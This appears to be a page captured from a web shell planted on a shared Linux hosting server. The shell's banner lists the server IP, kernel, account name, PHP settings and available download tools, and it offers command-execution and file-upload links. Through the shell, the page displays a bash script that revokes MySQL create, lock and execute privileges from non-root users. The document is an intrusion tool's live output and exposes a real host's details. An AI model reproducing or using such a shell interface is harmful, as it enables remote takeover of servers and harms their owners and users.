Server IP : 103.53.40.154 / Your IP : 3.149.27.33 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /sys/../scripts/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#!/bin/bash echo -n "Cleaning up mysql privs. Please ignore errors about non-existent columns as you may have an older version of mysql....." mysql -v -f mysql <<EOM update user set Create_priv='N' where Create_priv='Y' and User != 'root'; update user set Create_tmp_table_priv='N' where Create_tmp_table_priv='Y' and User != 'root'; update user set Lock_tables_priv='N' where Lock_tables_priv='Y' and User != 'root'; update user set Execute_priv='N' where Execute_priv='Y' and User != 'root'; EOM mysqladmin reload echo "Done."